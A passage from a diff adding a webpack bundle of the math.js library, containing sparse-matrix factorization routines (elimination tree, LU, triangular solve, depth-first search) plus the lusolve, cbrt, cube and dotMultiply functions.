check we are calculating A'A + + if (ata) { + // initialize workspace + for (i = 0; i < m; i++) { + w[prev + i] = -1; + } + } // loop columns + + + for (var k = 0; k < n; k++) { + // node k has no parent yet + parent[k] = -1; // nor does k have an ancestor + + w[ancestor + k] = -1; // values in column k + + for (var p0 = aptr[k], p1 = aptr[k + 1], p = p0; p < p1; p++) { + // row + var r = aindex[p]; // node + + i = ata ? w[prev + r] : r; // traverse from i to k + + for (; i !== -1 && i < k; i = inext) { + // inext = ancestor of i + inext = w[ancestor + i]; // path compression + + w[ancestor + i] = k; // check no anc., parent is k + + if (inext === -1) { + parent[i] = k; + } + } + + if (ata) { + w[prev + r] = k; + } + } + } + + return parent; + }; + + return csEtree; +} + +exports.name = 'csEtree'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 214 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csTdfs = load(__webpack_require__(133)); + /** + * Post order a tree of forest + * + * @param {Array} parent The tree or forest + * @param {Number} n Number of columns + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csPost = function csPost(parent, n) { + // check inputs + if (!parent) { + return null; + } // vars + + + var k = 0; + var j; // allocate result + + var post = []; // (n) + // workspace, head: first n entries, next: next n entries, stack: last n entries + + var w = []; // (3 * n) + + var head = 0; + var next = n; + var stack = 2 * n; // initialize workspace + + for (j = 0; j < n; j++) { + // empty linked lists + w[head + j] = -1; + } // traverse nodes in reverse order + + + for (j = n - 1; j >= 0; j--) { + // check j is a root + if (parent[j] === -1) { + continue; + } // add j to list of its parent + + + w[next + j] = w[head + parent[j]]; + w[head + parent[j]] = j; + } // loop nodes + + + for (j = 0; j < n; j++) { + // skip j if it is not a root + if (parent[j] !== -1) { + continue; + } // depth-first search + + + k = csTdfs(j, k, w, head, next, post, stack); + } + + return post; + }; + + return csPost; +} + +exports.name = 'csPost'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 215 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var transpose = load(__webpack_require__(72)); + var csLeaf = load(__webpack_require__(216)); + /** + * Computes the column counts using the upper triangular part of A. + * It transposes A internally, none of the input parameters are modified. + * + * @param {Matrix} a The sparse matrix A + * + * @param {Matrix} ata Count the columns of A'A instead + * + * @return An array of size n of the column counts or null on error + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csCounts = function csCounts(a, parent, post, ata) { + // check inputs + if (!a || !parent || !post) { + return null; + } // a matrix arrays + + + var asize = a._size; // rows and columns + + var m = asize[0]; + var n = asize[1]; // variables + + var i, j, k, J, p, p0, p1; // workspace size + + var s = 4 * n + (ata ? n + m + 1 : 0); // allocate workspace + + var w = []; // (s) + + var ancestor = 0; // first n entries + + var maxfirst = n; // next n entries + + var prevleaf = 2 * n; // next n entries + + var first = 3 * n; // next n entries + + var head = 4 * n; // next n + 1 entries (used when ata is true) + + var next = 5 * n + 1; // last entries in workspace + // clear workspace w[0..s-1] + + for (k = 0; k < s; k++) { + w[k] = -1; + } // allocate result + + + var colcount = []; // (n) + // AT = A' + + var at = transpose(a); // at arrays + + var tindex = at._index; + var tptr = at._ptr; // find w[first + j] + + for (k = 0; k < n; k++) { + j = post[k]; // colcount[j]=1 if j is a leaf + + colcount[j] = w[first + j] === -1 ? 1 : 0; + + for (; j !== -1 && w[first + j] === -1; j = parent[j]) { + w[first + j] = k; + } + } // initialize ata if needed + + + if (ata) { + // invert post + for (k = 0; k < n; k++) { + w[post[k]] = k; + } // loop rows (columns in AT) + + + for (i = 0; i < m; i++) { + // values in column i of AT + for (k = n, p0 = tptr[i], p1 = tptr[i + 1], p = p0; p < p1; p++) { + k = Math.min(k, w[tindex[p]]); + } // place row i in linked list k + + + w[next + i] = w[head + k]; + w[head + k] = i; + } + } // each node in its own set + + + for (i = 0; i < n; i++) { + w[ancestor + i] = i; + } + + for (k = 0; k < n; k++) { + // j is the kth node in postordered etree + j = post[k]; // check j is not a root + + if (parent[j] !== -1) { + colcount[parent[j]]--; + } // J=j for LL'=A case + + + for (J = ata ? w[head + k] : j; J !== -1; J = ata ? w[next + J] : -1) { + for (p = tptr[J]; p < tptr[J + 1]; p++) { + i = tindex[p]; + var r = csLeaf(i, j, w, first, maxfirst, prevleaf, ancestor); // check A(i,j) is in skeleton + + if (r.jleaf >= 1) { + colcount[j]++; + } // check account for overlap in q + + + if (r.jleaf === 2) { + colcount[r.q]--; + } + } + } + + if (parent[j] !== -1) { + w[ancestor + j] = parent[j]; + } + } // sum up colcount's of each child + + + for (j = 0; j < n; j++) { + if (parent[j] !== -1) { + colcount[parent[j]] += colcount[j]; + } + } + + return colcount; + }; + + return csCounts; +} + +exports.name = 'csCounts'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 216 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * This function determines if j is a leaf of the ith row subtree. + * Consider A(i,j), node j in ith row subtree and return lca(jprev,j) + * + * @param {Number} i The ith row subtree + * @param {Number} j The node to test + * @param {Array} w The workspace array + * @param {Number} first The index offset within the workspace for the first array + * @param {Number} maxfirst The index offset within the workspace for the maxfirst array + * @param {Number} prevleaf The index offset within the workspace for the prevleaf array + * @param {Number} ancestor The index offset within the workspace for the ancestor array + * + * @return {Object} + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + var csLeaf = function csLeaf(i, j, w, first, maxfirst, prevleaf, ancestor) { + var s, sparent, jprev; // our result + + var jleaf = 0; + var q; // check j is a leaf + + if (i <= j || w[first + j] <= w[maxfirst + i]) { + return -1; + } // update max first[j] seen so far + + + w[maxfirst + i] = w[first + j]; // jprev = previous leaf of ith subtree + + jprev = w[prevleaf + i]; + w[prevleaf + i] = j; // check j is first or subsequent leaf + + if (jprev === -1) { + // 1st leaf, q = root of ith subtree + jleaf = 1; + q = i; + } else { + // update jleaf + jleaf = 2; // q = least common ancester (jprev,j) + + for (q = jprev; q !== w[ancestor + q]; q = w[ancestor + q]) { + ; + } + + for (s = jprev; s !== q; s = sparent) { + // path compression + sparent = w[ancestor + s]; + w[ancestor + s] = q; + } + } + + return { + jleaf: jleaf, + q: q + }; + }; + + return csLeaf; +} + +exports.name = 'csLeaf'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 217 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var abs = load(__webpack_require__(25)); + var divideScalar = load(__webpack_require__(12)); + var multiply = load(__webpack_require__(10)); + var larger = load(__webpack_require__(33)); + var largerEq = load(__webpack_require__(89)); + var csSpsolve = load(__webpack_require__(218)); + var SparseMatrix = type.SparseMatrix; + /** + * Computes the numeric LU factorization of the sparse matrix A. Implements a Left-looking LU factorization + * algorithm that computes L and U one column at a tume. At the kth step, it access columns 1 to k-1 of L + * and column k of A. Given the fill-reducing column ordering q (see parameter s) computes L, U and pinv so + * L * U = A(p, q), where p is the inverse of pinv. + * + * @param {Matrix} m The A Matrix to factorize + * @param {Object} s The symbolic analysis from csSqr(). Provides the fill-reducing + * column ordering q + * @param {Number} tol Partial pivoting threshold (1 for partial pivoting) + * + * @return {Number} The numeric LU factorization of A or null + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csLu = function csLu(m, s, tol) { + // validate input + if (!m) { + return null; + } // m arrays + + + var size = m._size; // columns + + var n = size[1]; // symbolic analysis result + + var q; + var lnz = 100; + var unz = 100; // update symbolic analysis parameters + + if (s) { + q = s.q; + lnz = s.lnz || lnz; + unz = s.unz || unz; + } // L arrays + + + var lvalues = []; // (lnz) + + var lindex = []; // (lnz) + + var lptr = []; // (n + 1) + // L + + var L = new SparseMatrix({ + values: lvalues, + index: lindex, + ptr: lptr, + size: [n, n] + }); // U arrays + + var uvalues = []; // (unz) + + var uindex = []; // (unz) + + var uptr = []; // (n + 1) + // U + + var U = new SparseMatrix({ + values: uvalues, + index: uindex, + ptr: uptr, + size: [n, n] + }); // inverse of permutation vector + + var pinv = []; // (n) + // vars + + var i, p; // allocate arrays + + var x = []; // (n) + + var xi = []; // (2 * n) + // initialize variables + + for (i = 0; i < n; i++) { + // clear workspace + x[i] = 0; // no rows pivotal yet + + pinv[i] = -1; // no cols of L yet + + lptr[i + 1] = 0; + } // reset number of nonzero elements in L and U + + + lnz = 0; + unz = 0; // compute L(:,k) and U(:,k) + + for (var k = 0; k < n; k++) { + // update ptr + lptr[k] = lnz; + uptr[k] = unz; // apply column permutations if needed + + var col = q ? q[k] : k; // solve triangular system, x = L\A(:,col) + + var top = csSpsolve(L, m, col, xi, x, pinv, 1); // find pivot + + var ipiv = -1; + var a = -1; // loop xi[] from top -> n + + for (p = top; p < n; p++) { + // x[i] is nonzero + i = xi[p]; // check row i is not yet pivotal + + if (pinv[i] < 0) { + // absolute value of x[i] + var xabs = abs(x[i]); // check absoulte value is greater than pivot value + + if (larger(xabs, a)) { + // largest pivot candidate so far + a = xabs; + ipiv = i; + } + } else { + // x(i) is the entry U(pinv[i],k) + uindex[unz] = pinv[i]; + uvalues[unz++] = x[i]; + } + } // validate we found a valid pivot + + + if (ipiv === -1 || a <= 0) { + return null; + } // update actual pivot column, give preference to diagonal value + + + if (pinv[col] < 0 && largerEq(abs(x[col]), multiply(a, tol))) { + ipiv = col; + } // the chosen pivot + + + var pivot = x[ipiv]; // last entry in U(:,k) is U(k,k) + + uindex[unz] = k; + uvalues[unz++] = pivot; // ipiv is the kth pivot row + + pinv[ipiv] = k; // first entry in L(:,k) is L(k,k) = 1 + + lindex[lnz] = ipiv; + lvalues[lnz++] = 1; // L(k+1:n,k) = x / pivot + + for (p = top; p < n; p++) { + // row + i = xi[p]; // check x(i) is an entry in L(:,k) + + if (pinv[i] < 0) { + // save unpermuted row in L + lindex[lnz] = i; // scale pivot column + + lvalues[lnz++] = divideScalar(x[i], pivot); + } // x[0..n-1] = 0 for next k + + + x[i] = 0; + } + } // update ptr + + + lptr[n] = lnz; + uptr[n] = unz; // fix row indices of L for final pinv + + for (p = 0; p < lnz; p++) { + lindex[p] = pinv[lindex[p]]; + } // trim arrays + + + lvalues.splice(lnz, lvalues.length - lnz); + lindex.splice(lnz, lindex.length - lnz); + uvalues.splice(unz, uvalues.length - unz); + uindex.splice(unz, uindex.length - unz); // return LU factor + + return { + L: L, + U: U, + pinv: pinv + }; + }; + + return csLu; +} + +exports.name = 'csLu'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 218 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var divideScalar = load(__webpack_require__(12)); + var multiply = load(__webpack_require__(10)); + var subtract = load(__webpack_require__(15)); + var csReach = load(__webpack_require__(219)); + /** + * The function csSpsolve() computes the solution to G * x = bk, where bk is the + * kth column of B. When lo is true, the function assumes G = L is lower triangular with the + * diagonal entry as the first entry in each column. When lo is true, the function assumes G = U + * is upper triangular with the diagonal entry as the last entry in each column. + * + * @param {Matrix} g The G matrix + * @param {Matrix} b The B matrix + * @param {Number} k The kth column in B + * @param {Array} xi The nonzero pattern xi[top] .. xi[n - 1], an array of size = 2 * n + * The first n entries is the nonzero pattern, the last n entries is the stack + * @param {Array} x The soluton to the linear system G * x = b + * @param {Array} pinv The inverse row permutation vector, must be null for L * x = b + * @param {boolean} lo The lower (true) upper triangular (false) flag + * + * @return {Number} The index for the nonzero pattern + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csSpsolve = function csSpsolve(g, b, k, xi, x, pinv, lo) { + // g arrays + var gvalues = g._values; + var gindex = g._index; + var gptr = g._ptr; + var gsize = g._size; // columns + + var n = gsize[1]; // b arrays + + var bvalues = b._values; + var bindex = b._index; + var bptr = b._ptr; // vars + + var p, p0, p1, q; // xi[top..n-1] = csReach(B(:,k)) + + var top = csReach(g, b, k, xi, pinv); // clear x + + for (p = top; p < n; p++) { + x[xi[p]] = 0; + } // scatter b + + + for (p0 = bptr[k], p1 = bptr[k + 1], p = p0; p < p1; p++) { + x[bindex[p]] = bvalues[p]; + } // loop columns + + + for (var px = top; px < n; px++) { + // x array index for px + var j = xi[px]; // apply permutation vector (U x = b), j maps to column J of G + + var J = pinv ? pinv[j] : j; // check column J is empty + + if (J < 0) { + continue; + } // column value indeces in G, p0 <= p < p1 + + + p0 = gptr[J]; + p1 = gptr[J + 1]; // x(j) /= G(j,j) + + x[j] = divideScalar(x[j], gvalues[lo ? p0 : p1 - 1]); // first entry L(j,j) + + p = lo ? p0 + 1 : p0; + q = lo ? p1 : p1 - 1; // loop + + for (; p < q; p++) { + // row + var i = gindex[p]; // x(i) -= G(i,j) * x(j) + + x[i] = subtract(x[i], multiply(gvalues[p], x[j])); + } + } // return top of stack + + + return top; + }; + + return csSpsolve; +} + +exports.name = 'csSpsolve'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 219 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csDfs = load(__webpack_require__(220)); + var csMarked = load(__webpack_require__(134)); + var csMark = load(__webpack_require__(135)); + /** + * The csReach function computes X = Reach(B), where B is the nonzero pattern of the n-by-1 + * sparse column of vector b. The function returns the set of nodes reachable from any node in B. The + * nonzero pattern xi of the solution x to the sparse linear system Lx=b is given by X=Reach(B). + * + * @param {Matrix} g The G matrix + * @param {Matrix} b The B matrix + * @param {Number} k The kth column in B + * @param {Array} xi The nonzero pattern xi[top] .. xi[n - 1], an array of size = 2 * n + * The first n entries is the nonzero pattern, the last n entries is the stack + * @param {Array} pinv The inverse row permutation vector + * + * @return {Number} The index for the nonzero pattern + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csReach = function csReach(g, b, k, xi, pinv) { + // g arrays + var gptr = g._ptr; + var gsize = g._size; // b arrays + + var bindex = b._index; + var bptr = b._ptr; // columns + + var n = gsize[1]; // vars + + var p, p0, p1; // initialize top + + var top = n; // loop column indeces in B + + for (p0 = bptr[k], p1 = bptr[k + 1], p = p0; p < p1; p++) { + // node i + var i = bindex[p]; // check node i is marked + + if (!csMarked(gptr, i)) { + // start a dfs at unmarked node i + top = csDfs(i, g, top, xi, pinv); + } + } // loop columns from top -> n - 1 + + + for (p = top; p < n; p++) { + // restore G + csMark(gptr, xi[p]); + } + + return top; + }; + + return csReach; +} + +exports.name = 'csReach'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 220 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csMarked = load(__webpack_require__(134)); + var csMark = load(__webpack_require__(135)); + var csUnflip = load(__webpack_require__(221)); + /** + * Depth-first search computes the nonzero pattern xi of the directed graph G (Matrix) starting + * at nodes in B (see csReach()). + * + * @param {Number} j The starting node for the DFS algorithm + * @param {Matrix} g The G matrix to search, ptr array modified, then restored + * @param {Number} top Start index in stack xi[top..n-1] + * @param {Number} k The kth column in B + * @param {Array} xi The nonzero pattern xi[top] .. xi[n - 1], an array of size = 2 * n + * The first n entries is the nonzero pattern, the last n entries is the stack + * @param {Array} pinv The inverse row permutation vector, must be null for L * x = b + * + * @return {Number} New value of top + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csDfs = function csDfs(j, g, top, xi, pinv) { + // g arrays + var index = g._index; + var ptr = g._ptr; + var size = g._size; // columns + + var n = size[1]; // vars + + var i, p, p2; // initialize head + + var head = 0; // initialize the recursion stack + + xi[0] = j; // loop + + while (head >= 0) { + // get j from the top of the recursion stack + j = xi[head]; // apply permutation vector + + var jnew = pinv ? pinv[j] : j; // check node j is marked + + if (!csMarked(ptr, j)) { + // mark node j as visited + csMark(ptr, j); // update stack (last n entries in xi) + + xi[n + head] = jnew < 0 ? 0 : csUnflip(ptr[jnew]); + } // node j done if no unvisited neighbors + + + var done = 1; // examine all neighbors of j, stack (last n entries in xi) + + for (p = xi[n + head], p2 = jnew < 0 ? 0 : csUnflip(ptr[jnew + 1]); p < p2; p++) { + // consider neighbor node i + i = index[p]; // check we have visited node i, skip it + + if (csMarked(ptr, i)) { + continue; + } // pause depth-first search of node j, update stack (last n entries in xi) + + + xi[n + head] = p; // start dfs at node i + + xi[++head] = i; // node j is not done + + done = 0; // break, to start dfs(i) + + break; + } // check depth-first search at node j is done + + + if (done) { + // remove j from the recursion stack + head--; // and place in the output stack + + xi[--top] = j; + } + } + + return top; + }; + + return csDfs; +} + +exports.name = 'csDfs'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 221 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load) { + var csFlip = load(__webpack_require__(88)); + /** + * Flips the value if it is negative of returns the same value otherwise. + * + * @param {Number} i The value to flip + * + * Reference: http://faculty.cse.tamu.edu/davis/publications.html + */ + + var csUnflip = function csUnflip(i) { + // flip the value if it is negative + return i < 0 ? csFlip(i) : i; + }; + + return csUnflip; +} + +exports.name = 'csUnflip'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 222 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var isArray = Array.isArray; + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var lup = load(__webpack_require__(87)); + var slu = load(__webpack_require__(132)); + var csIpvec = load(__webpack_require__(223)); + var solveValidation = load(__webpack_require__(90)); + var usolve = load(__webpack_require__(137)); + var lsolve = load(__webpack_require__(136)); + /** + * Solves the linear system `A * x = b` where `A` is an [n x n] matrix and `b` is a [n] column vector. + * + * Syntax: + * + * math.lusolve(A, b) // returns column vector with the solution to the linear system A * x = b + * math.lusolve(lup, b) // returns column vector with the solution to the linear system A * x = b, lup = math.lup(A) + * + * Examples: + * + * const m = [[1, 0, 0, 0], [0, 2, 0, 0], [0, 0, 3, 0], [0, 0, 0, 4]] + * + * const x = math.lusolve(m, [-1, -1, -1, -1]) // x = [[-1], [-0.5], [-1/3], [-0.25]] + * + * const f = math.lup(m) + * const x1 = math.lusolve(f, [-1, -1, -1, -1]) // x1 = [[-1], [-0.5], [-1/3], [-0.25]] + * const x2 = math.lusolve(f, [1, 2, 1, -1]) // x2 = [[1], [1], [1/3], [-0.25]] + * + * const a = [[-2, 3], [2, 1]] + * const b = [11, 9] + * const x = math.lusolve(a, b) // [[2], [5]] + * + * See also: + * + * lup, slu, lsolve, usolve + * + * @param {Matrix | Array | Object} A Invertible Matrix or the Matrix LU decomposition + * @param {Matrix | Array} b Column Vector + * @param {number} [order] The Symbolic Ordering and Analysis order, see slu for details. Matrix must be a SparseMatrix + * @param {Number} [threshold] Partial pivoting threshold (1 for partial pivoting), see slu for details. Matrix must be a SparseMatrix. + * + * @return {DenseMatrix | Array} Column vector with the solution to the linear system A * x = b + */ + + var lusolve = typed('lusolve', { + 'Array, Array | Matrix': function ArrayArrayMatrix(a, b) { + // convert a to matrix + a = matrix(a); // matrix lup decomposition + + var d = lup(a); // solve + + var x = _lusolve(d.L, d.U, d.p, null, b); // convert result to array + + + return x.valueOf(); + }, + 'DenseMatrix, Array | Matrix': function DenseMatrixArrayMatrix(a, b) { + // matrix lup decomposition + var d = lup(a); // solve + + return _lusolve(d.L, d.U, d.p, null, b); + }, + 'SparseMatrix, Array | Matrix': function SparseMatrixArrayMatrix(a, b) { + // matrix lup decomposition + var d = lup(a); // solve + + return _lusolve(d.L, d.U, d.p, null, b); + }, + 'SparseMatrix, Array | Matrix, number, number': function SparseMatrixArrayMatrixNumberNumber(a, b, order, threshold) { + // matrix lu decomposition + var d = slu(a, order, threshold); // solve + + return _lusolve(d.L, d.U, d.p, d.q, b); + }, + 'Object, Array | Matrix': function ObjectArrayMatrix(d, b) { + // solve + return _lusolve(d.L, d.U, d.p, d.q, b); + } + }); + + var _toMatrix = function _toMatrix(a) { + // check it is a matrix + if (type.isMatrix(a)) { + return a; + } // check array + + + if (isArray(a)) { + return matrix(a); + } // throw + + + throw new TypeError('Invalid Matrix LU decomposition'); + }; + + function _lusolve(l, u, p, q, b) { + // verify L, U, P + l = _toMatrix(l); + u = _toMatrix(u); // validate matrix and vector + + b = solveValidation(l, b, false); // apply row permutations if needed (b is a DenseMatrix) + + if (p) { + b._data = csIpvec(p, b._data); + } // use forward substitution to resolve L * y = b + + + var y = lsolve(l, b); // use backward substitution to resolve U * x = y + + var x = usolve(u, y); // apply column permutations if needed (x is a DenseMatrix) + + if (q) { + x._data = csIpvec(q, x._data); + } // return solution + + + return x; + } + + return lusolve; +} + +exports.name = 'lusolve'; +exports.factory = factory; + +/***/ }), +/* 223 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory() { + /** + * Permutes a vector; x = P'b. In MATLAB notation, x(p)=b. + * + * @param {Array} p The permutation vector of length n. null value denotes identity + * @param {Array} b The input vector + * + * @return {Array} The output vector x = P'b + */ + function csIpvec(p, b) { + // vars + var k; + var n = b.length; + var x = []; // check permutation vector was provided, p = null denotes identity + + if (p) { + // loop vector + for (k = 0; k < n; k++) { + // apply permutation + x[p[k]] = b[k]; + } + } else { + // loop vector + for (k = 0; k < n; k++) { + // x[i] = b[i] + x[k] = b[k]; + } + } + + return x; + } + + return csIpvec; +} + +exports.name = 'csIpvec'; +exports.path = 'algebra.sparse'; +exports.factory = factory; + +/***/ }), +/* 224 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +module.exports = [__webpack_require__(25), __webpack_require__(14), __webpack_require__(17), __webpack_require__(225), __webpack_require__(110), __webpack_require__(226), __webpack_require__(45), __webpack_require__(138), __webpack_require__(227), __webpack_require__(228), __webpack_require__(229), __webpack_require__(230), __webpack_require__(109), __webpack_require__(111), __webpack_require__(231), __webpack_require__(232), __webpack_require__(233), __webpack_require__(91), __webpack_require__(235), __webpack_require__(236), __webpack_require__(237), __webpack_require__(238), __webpack_require__(10), __webpack_require__(239), __webpack_require__(240), __webpack_require__(241), __webpack_require__(42), __webpack_require__(67), __webpack_require__(131), __webpack_require__(46), __webpack_require__(242), __webpack_require__(15), __webpack_require__(39), __webpack_require__(243), __webpack_require__(244)]; + +/***/ }), +/* 225 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + var unaryMinus = load(__webpack_require__(39)); + var isNegative = load(__webpack_require__(61)); + var matrix = load(__webpack_require__(0)); + /** + * Calculate the cubic root of a value. + * + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.cbrt(x) + * math.cbrt(x, allRoots) + * + * Examples: + * + * math.cbrt(27) // returns 3 + * math.cube(3) // returns 27 + * math.cbrt(-64) // returns -4 + * math.cbrt(math.unit('27 m^3')) // returns Unit 3 m + * math.cbrt([27, 64, 125]) // returns [3, 4, 5] + * + * const x = math.complex('8i') + * math.cbrt(x) // returns Complex 1.7320508075689 + i + * math.cbrt(x, true) // returns Matrix [ + * // 1.7320508075689 + i + * // -1.7320508075689 + i + * // -2i + * // ] + * + * See also: + * + * square, sqrt, cube + * + * @param {number | BigNumber | Complex | Unit | Array | Matrix} x + * Value for which to calculate the cubic root. + * @param {boolean} [allRoots] Optional, false by default. Only applicable + * when `x` is a number or complex number. If true, all complex + * roots are returned, if false (default) the principal root is + * returned. + * @return {number | BigNumber | Complex | Unit | Array | Matrix} + * Returns the cubic root of `x` + */ + + var cbrt = typed('cbrt', { + 'number': _cbrtNumber, + // note: signature 'number, boolean' is also supported, + // created by typed as it knows how to convert number to Complex + 'Complex': _cbrtComplex, + 'Complex, boolean': _cbrtComplex, + 'BigNumber': function BigNumber(x) { + return x.cbrt(); + }, + 'Unit': _cbrtUnit, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since cbrt(0) = 0 + return deepMap(x, cbrt, true); + } + }); + /** + * Calculate the cubic root for a complex number + * @param {Complex} x + * @param {boolean} [allRoots] If true, the function will return an array + * with all three roots. If false or undefined, + * the principal root is returned. + * @returns {Complex | Array. | Matrix.} Returns the cubic root(s) of x + * @private + */ + + function _cbrtComplex(x, allRoots) { + // https://www.wikiwand.com/en/Cube_root#/Complex_numbers + var arg3 = x.arg() / 3; + var abs = x.abs(); // principal root: + + var principal = new type.Complex(_cbrtNumber(abs), 0).mul(new type.Complex(0, arg3).exp()); + + if (allRoots) { + var all = [principal, new type.Complex(_cbrtNumber(abs), 0).mul(new type.Complex(0, arg3 + Math.PI * 2 / 3).exp()), new type.Complex(_cbrtNumber(abs), 0).mul(new type.Complex(0, arg3 - Math.PI * 2 / 3).exp())]; + return config.matrix === 'Array' ? all : matrix(all); + } else { + return principal; + } + } + /** + * Calculate the cubic root for a Unit + * @param {Unit} x + * @return {Unit} Returns the cubic root of x + * @private + */ + + + function _cbrtUnit(x) { + if (x.value && type.isComplex(x.value)) { + var result = x.clone(); + result.value = 1.0; + result = result.pow(1.0 / 3); // Compute the units + + result.value = _cbrtComplex(x.value); // Compute the value + + return result; + } else { + var negate = isNegative(x.value); + + if (negate) { + x.value = unaryMinus(x.value); + } // TODO: create a helper function for this + + + var third; + + if (type.isBigNumber(x.value)) { + third = new type.BigNumber(1).div(3); + } else if (type.isFraction(x.value)) { + third = new type.Fraction(1, 3); + } else { + third = 1 / 3; + } + + var _result = x.pow(third); + + if (negate) { + _result.value = unaryMinus(_result.value); + } + + return _result; + } + } + + cbrt.toTex = { + 1: "\\sqrt[3]{${args[0]}}" + }; + return cbrt; +} +/** + * Calculate cbrt for a number + * + * Code from es6-shim.js: + * https://github.com/paulmillr/es6-shim/blob/master/es6-shim.js#L1564-L1577 + * + * @param {number} x + * @returns {number | Complex} Returns the cubic root of x + * @private + */ + + +var _cbrtNumber = Math.cbrt || function (x) { + if (x === 0) { + return x; + } + + var negate = x < 0; + var result; + + if (negate) { + x = -x; + } + + if (isFinite(x)) { + result = Math.exp(Math.log(x) / 3); // from https://en.wikipedia.org/wiki/Cube_root#Numerical_methods + + result = (x / (result * result) + 2 * result) / 3; + } else { + result = x; + } + + return negate ? -result : result; +}; + +exports.name = 'cbrt'; +exports.factory = factory; + +/***/ }), +/* 226 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +var deepMap = __webpack_require__(1); + +function factory(type, config, load, typed) { + /** + * Compute the cube of a value, `x * x * x`. + * For matrices, the function is evaluated element wise. + * + * Syntax: + * + * math.cube(x) + * + * Examples: + * + * math.cube(2) // returns number 8 + * math.pow(2, 3) // returns number 8 + * math.cube(4) // returns number 64 + * 4 * 4 * 4 // returns number 64 + * + * math.cube([1, 2, 3, 4]) // returns Array [1, 8, 27, 64] + * + * See also: + * + * multiply, square, pow, cbrt + * + * @param {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} x Number for which to calculate the cube + * @return {number | BigNumber | Fraction | Complex | Array | Matrix | Unit} Cube of x + */ + var cube = typed('cube', { + 'number': function number(x) { + return x * x * x; + }, + 'Complex': function Complex(x) { + return x.mul(x).mul(x); // Is faster than pow(x, 3) + }, + 'BigNumber': function BigNumber(x) { + return x.times(x).times(x); + }, + 'Fraction': function Fraction(x) { + return x.pow(3); // Is faster than mul()mul()mul() + }, + 'Array | Matrix': function ArrayMatrix(x) { + // deep map collection, skip zeros since cube(0) = 0 + return deepMap(x, cube, true); + }, + 'Unit': function Unit(x) { + return x.pow(3); + } + }); + cube.toTex = { + 1: "\\left(${args[0]}\\right)^3" + }; + return cube; +} + +exports.name = 'cube'; +exports.factory = factory; + +/***/ }), +/* 227 */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + + +function factory(type, config, load, typed) { + var matrix = load(__webpack_require__(0)); + var multiplyScalar = load(__webpack_require__(21)); + + var latex = __webpack_require__(4); + + var algorithm02 = load(__webpack_require__(27)); + var algorithm09 = load(__webpack_require__(139)); + var algorithm11 = load(__webpack_require__(20)); + var algorithm13 = load(__webpack_require__(7)); + var algorithm14 = load(__webpack_require__(6)); + /** + * Multiply two matrices element wise. The function accepts both matrices and + * scalar values. + * + * Syntax: + * + * math.dotMultiply(x, y) + * + * Examples: + * + * math.dotMultiply(2, 4) // returns 8 + * + * a = [[9, 5], [6, 1]] + * b = [[3, 2], [5, 2]] + * + * math.dotMultiply(a, b) // returns [[27, 10], [30, 2]] + * math.multiply(a, b) // returns [[52, 28], [23, 14]] + * + * See also: + * + * multiply, divide, dotDivide + * + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} x Left hand value + * @param {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} y Right hand value + * @return {number | BigNumber | Fraction | Complex | Unit | Array | Matrix} Multiplication of `x` and `y` + */ + + var dotMultiply = typed('dotMultiply', { + 'any, any': multiplyScalar, + 'SparseMatrix, SparseMatrix': function SparseMatrixSparseMatrix(x, y) { + return algorithm09(x, y, multiplyScalar, false); + }, + 'SparseMatrix, DenseMatrix': function SparseMatrixDenseMatrix(x, y) { + return algorithm02(y, x, multiplyScalar, true); + }, + 'DenseMatrix, SparseMatrix': function DenseMatrixSparseMatrix(x, y) { + return algorithm02(x, y, multiplyScalar, false); + }, + 'DenseMatrix, DenseMatrix': function DenseMatrixDenseMatrix(x, y) { + return algorithm13(x, y, multiplyScalar); + }, + 'Array, Array': function ArrayArray(x, y) { + // use matrix implementation + return dotMultiply(matrix(x), matrix(y)).valueOf(); + }, + 'Array, Matrix': function ArrayMatrix(x, y) { + // use matrix implementation + return dotMultiply(matrix(x), y); + }, + 'Matrix, Array': function MatrixArray(x, y) { + // use matrix implementation + return dotMultiply(x, matrix(y)); + }, + 'SparseMatrix, any': function SparseMatrixAny(x, y) { + return algorithm11(x, y, multiplyScalar, false); + }, + 